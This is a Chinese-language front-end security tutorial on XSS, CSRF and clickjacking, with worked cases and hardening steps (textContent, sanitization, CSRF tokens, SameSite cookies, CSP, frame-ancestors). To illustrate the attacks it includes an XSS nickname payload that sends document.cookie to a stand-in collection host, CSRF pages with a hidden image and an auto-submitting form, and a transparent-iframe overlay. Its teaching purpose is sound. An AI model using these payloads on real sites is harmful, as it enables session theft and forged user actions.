首页 / 资讯中心 / 文章详情

前端安全实战:XSS、CSRF与点击劫持的攻防原理与加固方法

前端安全实战:XSS、CSRF与点击劫持的攻防原理与加固方法 ★ FEATURED ARTICLE
各位做前端的兄弟姐妹如果你觉得自己只是“写写页面、调调接口”那XSS、CSRF、点击劫持这三个词可能暂时离你很远。但只要你负责的业务有一点用户量、有一点登录态、甚至只是页面上有几个表单你就已经站在了攻防的最前线。这篇文章我想用实际项目的视角把这三类经典攻击掰开揉碎讲清楚包括它们是怎么发生的、真实攻击现场长什么样、以及我们到底该往哪几个方向去加固。重点是我会把一些我踩过的坑和排查过程也一并放出来。内容会有点长但都是干货。适合刚接触安全的初中级前端也适合在团队里负责安全基建、想给组里做一次技术分享的同学。后端同事看了也不算亏因为很多防护手段其实是前后端配合完成的。1. 前端安全的战场到底在哪1.1 为什么前端会变成攻击的突破口很多人都默认“安全是后端的事”前端代码都是公开的好像没什么好防的。这句话对了一半。前端代码确实是透明的你做的任何加密、隐藏逻辑都可能被人扒出来。但前端恰恰是攻击者接触用户、接触浏览器、接触会话凭证的第一站。原因在于浏览器的信任模型。浏览器会很忠实地替用户携带Cookie、执行页面里的JavaScript脚本、在页面之间跳转。这些机制本意是为了让Web应用好用却也成了攻击者可以利用的工具。XSS利用的是浏览器对脚本的盲目执行CSRF利用的是浏览器自动携带凭证的特性点击劫持利用的是页面渲染层级的视觉欺骗。它们都不需要攻破你的服务器只需要骗过浏览器和用户。我在查某团队项目的时候看到过一个讨论板的评论区直接把用户输入的“昵称”通过innerHTML塞进页面。当时我就想如果有人在昵称里写img srcx onerroralert(document.cookie)那全站登录的人只要看到这条评论都会被偷走Cookie。后来这个案例我反复用于团队新人的安全培训。前端这个口子一旦开了后端再强的防护也拦不住因为事情发生在用户自己的浏览器里。1.2 三个攻击的“攻击链思维”很多同学会把XSS、CSRF、点击劫持当作三个独立的知识点来背但实际攻击中它们往往是组合拳。我更喜欢用“攻击链”的思路来理解XSS是注入手段攻击者往你的页面里塞入自己的代码本质上抢占了你的前端执行环境。CSRF是信任劫持攻击者利用浏览器对Cookie的自动携带让服务器以为恶意请求来自真实用户。点击劫持是感知欺骗攻击者让用户在不知情的情况下点击了不可见的iframe区域。这三者可以相互配合。比如XSS偷到了用户的身份凭证后面发CSRF请求就变得顺理成章而点击劫持如果放在一个有XSS漏洞的页面上攻击者甚至不需要诱导用户操作就能在用户浏览时偷偷触发脚本。所以我建议你看下面的内容时不要只记单个案例而是想一想每个攻击“为什么会成功”它依赖的是哪一个浏览器特性或业务逻辑假设。这样你才能真正理解后面那些防护手段的用意。2. XSS跨站脚本最容易入门也最容易翻车的地方2.1 XSS的本质让浏览器执行不属于业务逻辑的脚本XSS的定义听起来很简单把用户输入当作代码执行了。但真正理解它要把视角放到浏览器上。浏览器拿到一段HTML文本时并不会区分“这部分是开发者写的”和“这部分是用户提交的”。它只按照HTML语法去解析。只要文本中出现script或者带事件属性的img onerror它就会执行。我一直觉得XSS之所以流行是因为它“不需要突破访问控制”。攻击者不需要知道你后台的管理密码只需要找到一个能让脚本注入的入口就行。而且它危害很大偷Cookie只是第一步还能改页面内容挂虚假公告、监听键盘输入、劫持会话做业务操作甚至联合CSRF直接改用户密码。2.2 三种类型的分辨与实战差异我把三种XSS放在一张表里对比着看方便理解它们的区别类型存储位置触发方式典型场景危害程度反射型不存储只在URL参数或一次性响应里用户点击恶意链接触发搜索页把关键词原样回显中存储型存储在服务端数据库任何用户访问被污染页面即触发评论区、用户昵称、富文本文章极高DOM型不经过服务端纯前端处理浏览器解析URL片段或跳转时触发前端路由读取location.hash或search后写入页面高反射型XSS最典型的情景是搜索框。比如搜索?keywordtest页面直接把test回填到输入框里。攻击者把test换成一段恶意脚本再诱导目标用户点击这个精心构造的链接脚本就在受害者的浏览器里执行了。注意这里服务端并没有把脚本存储下来它只是在响应里回显了。存储型XSS是最危险的因为恶意代码不止执行一次而是每个打开页面的用户都会被攻击。评论区是重灾区。富文本编辑器尤其不能掉以轻心因为富文本天然允许用户提交HTML等于给XSS开了一扇门。DOM型XSS绕开了服务端检查完全发生在浏览器端。比如单页应用通过location.hash获取路由参数再用innerHTML渲染攻击者只需要诱导用户访问一个带特殊#后缀的链接。我见过不少团队后端做了严格校验但DOM型漏洞依然存在的情况因为隐患在前端代码里。2.3 存储型XSS完整案例拆解某团队内部讨论板有一个用户反馈功能用户可以在评论区提交纯文本评论昵称是注册时填写的后台对昵称只做了长度校验没有禁止特殊字符。问题出在评论列表渲染上。前端代码大概长这样function renderComment(comment) { const div document.createElement(div); div.innerHTML p classnickname${comment.nickname}/pp${comment.content}/p; document.getElementById(comment-list).appendChild(div); }这段代码直接把后台吐出来的字段拼进模板字符串然后塞进innerHTML。攻击者注册时把昵称设成img srcx onerrorfetch(https://xxx.example/collect?cookiedocument.cookie)之后他随便发一条正常评论这条评论的渲染就会触发恶意代码。受害者只要打开页面Cookie就被发送到攻击者的服务器。这里要认清一个关键问题不只是“没有过滤用户输入”而是前端没有对输出上下文做编码处理。如果只是把文本插入到textContent中这个问题就不会发生。修复方案很简单。纯文本场景一律用textContent赋值const p document.createElement(p); p.textContent comment.nickname;如果是富文本场景那就不能靠简单编码了必须引入白名单过滤。我推荐用一个成熟的库去做HTML清洗只允许safe列表里的标签和属性把所有事件属性和javascript:协议全部剔除。自行写正则黑名单过滤事件属性的方案我试过最后都会被各种编码绕过真不值得在这上面浪费精力。2.4 防护体系的四层防线XSS防护不是某一个技巧能搞定的而是一套分层的思路。我把每次写前端代码时心里默念的“四层防线”列出来第一层输入校验对用户输入做白名单校验包括长度、格式、字符集。有一定作用但不能依赖它。因为业务上可能需要用户输入任意字符比如评论允许写符号。正确的态度是“输入校验是减少风险输出编码才是消除风险”。第二层上下文相关的输出编码XSS逃逸方式取决于代码所处上下文。在HTML标签内容里要对、、、、做实体编码在JavaScript字符串里需要用\x转义或使用安全的API在URL属性里需要编码特殊字符。使用前端框架Vue、React等默认的插值语法它们已经处理了不少转义。但不代表绝对安全以下场景要警惕v-html、dangerouslySetInnerHTML、动态构造的href属性。第三层CSP内容安全策略CSP能显著降低XSS带来的一等危害。通过响应头Content-Security-Policy限制脚本来源。比如script-src self表示只允许同源脚本外部注入的onerror内联脚本即便插入也会被阻止执行。内联脚本和eval也要注意。很多团队为了兼容旧代码不敢开太严厉的CSP但至少可以先把script-src设为self加上必要的白名单域名。第四层隔离敏感凭证给Cookie增加HttpOnly、Secure、SameSite等属性。HttpOnly能让JavaScript无法读取Cookie这样即使XSS成功攻击者也偷不到会话凭证。但要注意HttpOnly只是缓解不能让XSS的页面无法执行恶意操作。因为攻击者可以直接用受害者的会话发起请求不需要看Cookie。下面这段代码是设置Cookie属性的实例通常由后端维护但前端同学也要知道它长什么样Set-Cookie: sessionidabc123; HttpOnly; Secure; SameSiteLax; Path/说完XSS我们对它的判断标准就清晰了任何地方把不可信数据当成HTML或JavaScript来执行都是XSS。至于数据是来自URL、接口还是用户输入只是入口区别。3. CSRF跨站请求伪造悄无声息的“借刀杀人”3.1 CSRF的核心矛盾浏览器自动携带凭证CSRF能成立靠的其实是浏览器一个“太老实”的特性你在一个站点通过登录验证后浏览器会保存这个站点的Cookie之后你访问任何其他页面或者收到任何跨站请求浏览器只要看到请求目标是那个站点就会自动附带上该站点的Cookie。这本来是Web Foundation的设计但攻击者利用它做了一个简单的把戏。他在自家恶意网站放一段脚本让用户浏览器去请求目标网站的敏感接口。因为请求出发时浏览器会自动带上Cookie服务器就会认为这是用户本人的合法操作。要理解CSRF的危害先记住两个关键其一CSRF攻击不需要拿你的密码也不需要知道你的Cookie内容它只需要“借用”浏览器自动携带的凭证其二攻击者无法读取响应结果但对于“转账、改密码、删除数据”这类操作响应结果并不重要只要请求到达服务端并有凭证就算成功。3.2 一次完整CSRF攻击现场还原某平台删除用户的接口当初为了方便用了GET请求大致路径是/api/post/delete?id1024。当用户已登录时直接访问这个路径就能删除自己的某条动态。攻击者写了一个恶意页面诱导用户访问!DOCTYPE html html body h1猜猜谁点了/h1 img srchttps://victim.example/api/post/delete?id1024 styledisplay:none /body /html用户如果在别的标签页里保持着该平台的登录态打开这个恶意页面浏览器会自动向victim.example发送GET请求并带上Cookie。服务器验证会话成功执行删除操作。整个过程用户完全无感知。这里有个很扎心的结论GET请求天然是CSRF的温床。就算把接口改成POST攻击者也只需把img换成一段自动提交的表单form actionhttps://victim.example/api/post/delete methodPOST input typehidden nameid value1024 /form scriptdocument.forms[0].submit();/script所以“POST就是安全”是一个彻头彻尾的误区。真正的问题是请求是否带有不可伪造的凭证标记。3.3 防护手段对比Token、SameSite、校验来源现在业界比较主流的CSRF防护手段有几种我分别说下它们的原理与适用场景。CSRF TokenToken的本质是“服务端生成的随机数 与当前会话绑定”。服务器在渲染页面时把Token放到表单隐藏域或请求头里提交请求时必须携带这个Token。因为Token不在Cookie中、不会由浏览器自动附带攻击者跨站构造的请求自然拿不到它。关键实现点form action/api/delete methodPOST input typehidden name_csrf value服务端生成的随机Token ... /form同时前端在发起AJAX请求时把Token放到自定义请求头中比如X-CSRF-Token。服务端校验请求头中的Token与会话中保存的Token是否一致。这个方案的问题在于实现复杂度稍高且需要妥善处理Token的生成、过期、刷新逻辑。但防护效果可靠适合对安全性要求较高的业务。SameSite Cookie通过给Cookie增加SameSite属性可以控制跨站请求是否携带Cookie。SameSiteLax时在跨站GET请求中不携带Cookie但在用户点击链接并导致浏览器“顶层导航”跳转时仍会携带SameSiteStrict时所有跨站请求都不带Cookie。这里有个进阶概念Cookie有“同站”和“跨站”之分规则依据的是“站点”而不是“域名”。有些同学把同源协议、域名、端口一致和同站搞混了其实SameSite关心的只是注册域是否一致。比如sub.example.com和sub2.example.com属于同站但它们不同源。一个需要留意的场景你把SameSite设为Strict后用户从外部链接直接跳转进入你的站点时他的首次请求可能不带Cookie导致登录态失效。这个体验问题在小工具类产品上是致命的。所以一般建议用Lax起步它能挡住大部分来自恶意页面的POST请求又能保留链接跳转的可用性。Origin/Referer校验服务端检查Origin或Referer头判断请求来源是否允许。这种方式实现简单但也存在盲区用户浏览器的一些隐私插件或代理可能会去掉Referer头某些同源场景下Origin可能是null比如从本地文件发起请求或某些移动端WebView。所以我通常把来源校验当作辅助手段还是会叠加Token或SameSite。3.4 为什么说XSS能摘掉所有CSRF防护防御CSRF做得很完善时有人可能怀疑“是不是就不会被攻击了”。只要我们一起遇到XSSCSRF防护就形同虚设。原因在于XSS让攻击者拿到了页面的执行环境。攻击者可以在页面里读取到嵌入的CSRF Token、可以发起任意异步请求然后读取响应、可以调用受信任的接口而无需模拟跨站请求。他甚至不需要绕过SameSite因为他已经是在目标站点的页面上下文里执行脚本了。这也解释了我为什么反复强调XSS是前端安全的“根本问题”。你可以用Token挡掉99%的CSRF但一个存储型XSS能让剩下1%彻底失效。所以做好XSS防护实际上也是在加固CSRF整条链路。我一直觉得前端同学应该把这个联动的思维刻在脑子里。4. 点击劫持用户以为自己在点按钮其实踩了个陷阱4.1 透明iframe叠加的攻击原理点击劫持跟前面两类攻击不太一样它不依赖脚本注入也不利用会话凭证而是在视觉上“欺骗”用户。核心原理是攻击者在自己的恶意页面里用iframe嵌入目标网站页面然后通过opacity或者层级控制让目标页面透明地覆盖在恶意页面的诱导按钮上方。用户看到的似乎是一个抽奖按钮但实际上鼠标点击的位置正好落在透明的iframe里的某个功能按钮上。举个例子。攻击者做了一页“免费领会员”的页面背景写着大大的“点击领取”实际上他把某个社交平台“关注账号”的按钮对准了那个位置并且用opacity:0隐藏了iframe。用户点击“领取”实际点了关注。技术细节上这通常涉及两层页面style .malicious-button { position: absolute; z-index: 10; top: 200px; left: 200px; width: 200px; height: 100px; } .target-iframe { position: absolute; top: 0; left: 0; z-index: 5; opacity: 0; } /style iframe classtarget-iframe srchttps://victim.example/profile/iframe div classmalicious-button点击领取/div如果iframe加载了那个社交平台页面且该平台没有禁止被嵌入那么用户点击“点击领取”时实际点击的是iframe内位于同一坐标位置的元素。点击劫持的危害往往被新手低估。它可以是“诱导点赞、关注、授权”也可以是更严重的“诱导转账、修改设置、自动发布”。尤其是加上一些社工话术后成功率并不低。4.2 真实案例一次社交授权漏洞我在复盘某个产品时关注过一个典型案例。某应用提供“一键绑定社交账号”功能绑定流程里有一个授权页。攻击者在这个授权页外包了一层恶意页面诱导用户点击透明iframe上的“允许授权”按钮。用户以为自己是在参加一个测试游戏实际却把自己的社交账号授权给了恶意应用。恶意应用随后就能获取用户资料、甚至代表用户发布内容。这个案例说明一个关键点任何涉及授权、支付、修改配置的页面都必须禁止被第三方页面嵌入。因为这类操作本身只是为了确认用户意图如果页面被外层页面伪装诱导等于用户点击的“确认”并不代表真实意图。4.3 防护手段X-Frame-Options与CSP frame-ancestors好在点击劫持的防护方案相对统一且好用。第一种方式是设置响应头X-Frame-Options。有三档取值DENY任何情况下都不允许被iframe嵌入。SAMEORIGIN只允许同源页面嵌入。ALLOW-FROM指定允许的来源。但这一档在不同浏览器里有兼容性问题目前已经不推荐。第二种方式是使用CSP的frame-ancestors指令。它比X-Frame-Options更灵活能精确控制哪些来源可以嵌入当前页面。例如Content-Security-Policy: frame-ancestors self;或者限制为指定的可信域名Content-Security-Policy: frame-ancestors https://trusted.example.com;需要注意的是如果两种策略同时存在浏览器会优先采用更严格的策略。我在实际配置时一般都同时配上双保险。“JS frame-busting”这类防护方案比如判断window.top ! window.self后强制跳转虽然在一些旧项目中还在用但它可以被sandbox属性的iframe绕过并且实现起来也容易误伤正常的弹窗交互我不建议作为唯一防线使用。关于防护我把决策思路列一下使用场景推荐方案登录页、授权页、支付页X-Frame-Options: DENYframe-ancestors none业务主站X-Frame-Options: SAMEORIGINframe-ancestors self需要特定可信方嵌入如合作页面frame-ancestors https://partner.example.com完全不允许被任何页面嵌入DENY或frame-ancestors none5. 项目实战一个迷你应用的完整加固流程5.1 模拟项目背景与问题入口前面讲了不少原理接下来我带大家一起走一遍完整的加固流程。模拟项目X是一个团队内部讨论板功能不多用户登录、发布帖子、评论、删除自己发的帖子、修改个人资料。采用前后端分离架构后端提供REST接口前端是单页应用。我接手这个项目时团队刚跑完一轮测试并没有人专门做过前端安全排查。我决定先做一轮摸底重点看四个方向是否存在XSS执行点、是否缺少CSRF防护、关键页面是否可被iframe嵌入、Cookie属性是否配置合理。5.2 排查发现的问题清单问题一评论与昵称的存储型XSS这个项目的评论渲染用了类似前面案例的innerHTML方式拼接内容昵称没有字符白名单富文本字段直接信任了后端的输出。初步判断存在存储型XSS风险。问题二删除接口用GET且无Token删除帖子接口是GET /api/thread/delete?idxxx没有任何Token校验也没有校验来源。只要用户保持登录就可以被跨站请求触发删除操作。问题三个人资料页可被iframe嵌入个人资料页没有任何X-Frame-Options响应头攻击者可以把它嵌进恶意页面配合透明层诱导用户“点击修改资料”或误触“授权”按钮。问题四Cookie缺少HttpOnly与SameSite服务端登录成功后设置的会话Cookie只有Secure一个属性没有HttpOnly也没有SameSite。这意味着任何XSS漏洞都能直接读取Cookie而且跨站请求也会自动携带。5.3 逐项修复与代码改造先改最危险的XSS问题。纯文本场景全部换成textContent渲染富文本场景引入白名单清洗库把所有on*事件属性、javascript:协议等彻底剔除。下面是评论渲染改造后的关键代码function renderComment(comment) { const card document.createElement(div); card.className comment-card; const nickname document.createElement(p); nickname.className nickname; nickname.textContent comment.nickname; // 不再用innerHTML拼接 const content document.createElement(div); // 富文本字段使用清洗后的HTML content.innerHTML sanitizeHtml(comment.content); card.appendChild(nickname); card.appendChild(content); document.getElementById(comment-list).appendChild(card); }同时给服务端加了一层兜底校验评论内容一律按纯文本接收除非显式启用富文本接口。这个改动其实浪费不了多少精力却能把绝大多数注入挡在存储前。接着处理CSRF。后端为每个会话生成Token并写到Cookie里注意这个Cookie不能加HttpOnly因为前端JS需要读取它来构造请求头前端所有写操作请求都带上X-CSRF-Token请求头。关键改造如下async function fetchWithCSRF(url, options {}) { const token getCsrfTokenFromCookie(); return fetch(url, { ...options, headers: { ...options.headers, X-CSRF-Token: token, }, credentials: include, }); } // 删除帖子时调用 await fetchWithCSRF(/api/thread/delete, { method: POST, body: JSON.stringify({ id: threadId }), headers: { Content-Type: application/json }, });服务端在端点上校验请求头里的Token与会话绑定的Token一致不一致则直接拒绝。同时把删除接口从GET改成POST避免单纯通过URL字符串被触发。Cookie配置同步调整Set-Cookie: sessionidabc123; HttpOnly; Secure; SameSiteLax; Path/登录页、授权页、支付页单独加更严格策略X-Frame-Options: DENY Content-Security-Policy: frame-ancestors none;其他业务页面设置X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors self;最后一件事是给全站统一开CSP限制外部脚本来源Content-Security-Policy: default-src self; script-src self; style-src self unsafe-inline; img-src self data:;这里的style-src unsafe-inline是为了兼容一些已有的内联样式如果你能控制全局样式建议也去掉。script-src没有放开unsafe-inline和eval这对XSS屏蔽能力是一次比较大的提升。5.4 加固后的回归验证修复之后我建议团队把它们纳入日常测试用例而不是一次性验证。我用的简单验证方式列在这里XSS验证在任意输入框提交scriptalert(1)/script、img srcx onerroralert(1)、冒号协议变体等测试载荷检查页面是否原样显示文本而不是弹窗或执行脚本。CSRF验证在无登录态的浏览器里用外部页面构造对删除接口的POST请求观察服务端是否返回400/403 Token不一致。点击劫持验证用控制台或外部页面尝试iframe加载关键页面如果响应头正确应该出现X-Frame-Options或CSP阻止加载的提示。Cookie属性验证在开发者工具Application面板里查看Cookie是否带上了HttpOnly、SameSite属性。实测下来加固后的页面不会再出现之前的问题。印象比较深的是部署后我再用恶意iframe尝试嵌入登录页浏览器直接空白并报错阻止加载这个反馈比任何代码都直观。6. 日常开发中的安全习惯与团队落地方案6.1 我总结出的几条编码铁律每次评审代码时我几乎都会重复下面这几条久而久之就成了团队规范凡是动态渲染用户内容一律用textContent或框架的安全插值语法。innerHTML必须经过显式审查并给出使用场景。富文本编辑器实现“允许部分HTML”的功能必须接白名单清洗库不允许自行维护黑名单标签。所有写操作接口都用POST并携带CSRF Token。删除、修改、授权类操作必须配合服务端二次校验。登录态Cookie必须有HttpOnly、Secure、SameSite属性。涉及敏感页面的响应必须加X-Frame-Options和frame-ancestors。前端代码永远假设自己运行在不可信的浏览器环境里核心逻辑的判断不能只依赖前端隐藏或加密。6.2 每次上线前的安全自查清单我把上线前的检查整理成可以直接在团队里抄的表格检查项检查方式结果是否存在直接拼接HTML渲染用户内容的地方全局搜索innerHTML、v-html、dangerouslySetInnerHTML通过/需修复Cookie属性是否齐全开发者工具Application面板检查通过/需修复所有写操作接口是否校验CSRF Token检查请求是否携带Token及服务端校验逻辑通过/需修复关键页面是否可被外部iframe嵌入检查响应头X-Frame-Options和CSP通过/需修复CSP是否生效浏览器Network面板查看响应头通过/需修复是否存在借GET请求执行删除或写入操作全局搜索delete、remove等接口路由通过/需修复这个清单不需要很长关键是有人真的去执行。我们团队把它做成了MR合并前的自动检查项还配了一个简单的脚本扫描未授权接口。6.3 如何让安全意识在团队里落地很多人觉得安全建设很虚原因是没有把它嵌入到流程里。我在团队里的做法有三个比较有效第一在代码评审清单里加一个“安全相关”的二级审查项。每次MR必须勾选“我确认安全自查清单通过”没有勾选的不允许合入。刚开始大家会觉得烦但坚持几周就习惯了。第二搞一次内部攻防演练。让一名同事充当攻击者只使用前端手段尝试攻击其他人负责防守。不用搞得很复杂实战一次比讲十次PPT都有用。我们第一次演练就发现了两个没想到的DOM型XSS点。第三维护一份“已知坑位档案”。把团队踩过的安全问题、修复方案、绕过案例记录下来。新人入职第一周就让他读一遍并让他复现其中一个案例。这比直接丢给他一厚本安全规范有效得多。最后说几句实在话我自己这几年做安全排查最大的体会是前端安全没有“一次性修复完”的舒适时刻它本质上是编码习惯的持续矫正。你不可能记住所有恶意载荷但你可以守住原则——不可信数据永远按数据对待、所有执行路径永远留一层验证、关键操作永远假设用户可以不可信。如果你现在就在维护一个项目明天上班可以先做一件事全局搜一下项目里所有的innerHTML逐个确认它们的输入来源。这个动作花费不到半小时但可能已经能发现一个隐患。不要等到攻击者帮你发现。
阅读完成 · 觉得有帮助?
咨询建站